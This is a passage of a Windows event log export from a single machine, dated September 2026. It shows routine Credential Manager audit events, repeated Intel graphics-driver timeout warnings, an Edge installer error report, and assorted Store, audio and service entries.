Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 09:07:30.075\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 09:07:30.076\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 09:07:30.076\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 09:07:30.077\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 09:07:30.106\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 09:07:30.106\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 09:07:30.106\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 09:07:30.328\t28017\tAppResolver Scan Started.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 09:07:30.339\t28032\tAppResolver has parsed the visual elements manifest for a tile.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 09:07:30.340\t28117\tShortcut for application Microsoft Edge with ID MSEdge and flags 0x39 is updated in app resolver cache.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 09:07:30.364\t28032\tAppResolver has parsed the visual elements manifest for a tile.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 09:07:30.365\t28117\tShortcut for application Microsoft Edge with ID MSEdge and flags 0x19 is updated in app resolver cache.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 09:07:30.368\t28018\tAppResolver Scan Stopped.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 09:07:30.371\t28019\tAppResolver Cache Committed.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 09:07:30.378\t3049\tEndpoint 0x0 is being cleanedup\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 09:07:30.392\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:07:30.614\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:07:30.850\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 09:07:30.851\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 09:07:30.855\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 09:07:30.855\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 09:07:31.059\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:07:31.281\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:07:31.505\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:07:31.727\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:07:32.508\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:07:32.683\t1\t\tInformation\tMicrosoft-Windows-WER-PayloadHealth/Operational\tMicrosoft-Windows-WER-PayloadHealth\n05.09.2026 09:07:32.729\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:07:32.838\t1001\t\"Fault bucket 1335943769315561378, type 5\nEvent Name: crashpad_log\nResponse: \u041d\u0435\u0442 \u0434\u0430\u043d\u043d\u044b\u0445\nCab Id: 0\n\nProblem signature:\nP1: setup.exe\nP2: 152.0.4191.66\nP3: EdgeInstallerError|msedge\nP4: 0x21f\nP5: \nP6: \nP7: \nP8: \nP9: \nP10: \n\nAttached files:\n\\\\?\\C:\\Windows\\SystemTemp\\msedge_installer.log\n\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\WER\\Temp\\WER.cb0fd2f7-8c3a-4ec5-b556-d8539b63e7bb.tmp.WERInternalMetadata.xml\n\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\WER\\Temp\\WER.1cd59d7b-10f5-456c-92c9-bbc2690c40cb.tmp.csv\n\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\WER\\Temp\\WER.a91dcba5-995c-4c53-8ee9-ac97f2cc9341.tmp.txt\n\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\WER\\Temp\\WER.2e064481-6563-48cd-bfde-c1fec5b5e223.tmp.xml\n\nThese files may be available here:\n\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\WER\\ReportArchive\\NonCritical_setup.exe_5e669a226662be207f9befb6263066e17763cb_00000000_511c3ca4-3902-47a0-b678-1fb4198c6818\n\nAnalysis symbol: \nRechecking for solution: 0\nReport Id: 511c3ca4-3902-47a0-b678-1fb4198c6818\nReport Status: 268435456\nHashed bucket: 66b5a28723fa9a68828a39c7b1f34fa2\nCab Guid: 0\"\tInformation\tApplication\tWindows Error Reporting\n05.09.2026 09:07:32.862\t1001\t\"Fault bucket , type 0\nEvent Name: crashpad_log\nResponse: \u041d\u0435\u0442 \u0434\u0430\u043d\u043d\u044b\u0445\nCab Id: 0\n\nProblem signature:\nP1: setup.exe\nP2: 152.0.4191.66\nP3: EdgeInstallerError|msedge\nP4: 0x21f\nP5: \nP6: \nP7: \nP8: \nP9: \nP10: \n\nAttached files:\n\\\\?\\C:\\Windows\\SystemTemp\\msedge_installer.log\n\nThese files may be available here:\nNULL\n\nAnalysis symbol: \nRechecking for solution: 0\nReport Id: 511c3ca4-3902-47a0-b678-1fb4198c6818\nReport Status: 268697600\nHashed bucket: \nCab Guid: 0\"\tInformation\tApplication\tWindows Error Reporting\n05.09.2026 09:07:32.950\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:07:33.285\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:07:33.506\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:07:33.726\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:07:33.947\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:07:34.170\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:07:34.380\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:07:34.604\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:07:34.827\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:07:35.047\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:07:35.269\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:07:35.593\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:07:35.814\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:07:36.258\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:07:36.481\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:07:36.706\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:07:36.933\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:07:37.145\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:07:37.585\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:07:38.034\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:07:38.255\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:07:38.474\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:07:38.694\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:07:38.909\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:07:39.243\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:07:39.464\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:07:39.687\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:07:39.901\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:07:41.333\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:07:41.775\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:07:41.999\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:07:42.561\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:07:42.895\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:07:43.783\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:07:43.837\t8001\t\"Skipping license manager: PFN Microsoft.ZuneMusic_11.2605.14.0_x64__8wekyb3d8bbwe\nFunction: InvokeLicenseManagerRequired\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\apisethost\\activationapis.cpp (373)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:07:43.864\t8001\t\"Skipping license manager: PFN Microsoft.ZuneMusic_11.2605.14.0_x64__8wekyb3d8bbwe\nFunction: InvokeLicenseManagerRequired\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\apisethost\\activationapis.cpp (373)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:07:43.889\t22\tSuspended: false\tInformation\tMicrosoft-Windows-Audio/PlaybackManager\tMicrosoft-Windows-Audio\n05.09.2026 09:07:43.921\t22\tSuspended: true\tInformation\tMicrosoft-Windows-Audio/PlaybackManager\tMicrosoft-Windows-Audio\n05.09.2026 09:07:43.921\t23\t\"Released exclusive mode resource false\nReleased offload mode resource true\"\tInformation\tMicrosoft-Windows-Audio/PlaybackManager\tMicrosoft-Windows-Audio\n05.09.2026 09:07:44.007\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:07:44.229\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:07:44.449\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:07:44.895\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:07:45.119\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:07:45.919\t1\tTenant P-ARIA-af397ef28e484961ba48646a5d38cf54-77418283-d6f6-4a90-b0c8-37e0f5e7b087-7425 has been registered for telemetry usage.\tInformation\tMicrosoft-Windows-UniversalTelemetryClient/Operational\tMicrosoft-Windows-UniversalTelemetryClient\n05.09.2026 09:07:46.117\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:07:46.406\t0\tService stopped.\tInformation\tApplication\tedgeupdate\n05.09.2026 09:07:46.559\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:07:46.783\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:07:47.006\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:07:47.230\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:07:47.678\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:07:47.899\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:07:48.107\t16\tCounter 6 of instance ({3976adcc-b8ec-4ff9-ae0c-6943a79f212a}, CIMWin32, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 09:07:48.121\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:07:48.681\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:07:49.017\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:07:49.241\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:07:49.798\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:07:50.020\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:07:50.241\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:07:50.461\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:07:50.682\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:07:52.022\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:07:54.809\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:07:55.033\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:07:55.258\t3\t{\"category\":\"PresentMonWrapper\",\"level\":\"Warning\",\"message\":\"PresentMonSession already tracking\",\"parameters\":{\"handle\":\"235276AB010\",\"process\":0}}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:07:55.265\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"OpenWith\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:07:59.356\t16384\tSuccessfully scheduled Software Protection service for re-start at 2126-08-12T02:07:59Z. Reason: RulesEngine.\tInformation\tApplication\tMicrosoft-Windows-Security-SPP\n05.09.2026 09:08:01.392\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:08:01.403\t3\t{\"category\":\"PresentMonWrapper\",\"level\":\"Warning\",\"message\":\"PresentMonSession already tracking\",\"parameters\":{\"handle\":\"235276AB010\",\"process\":0}}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:08:01.408\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:08:01.632\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous 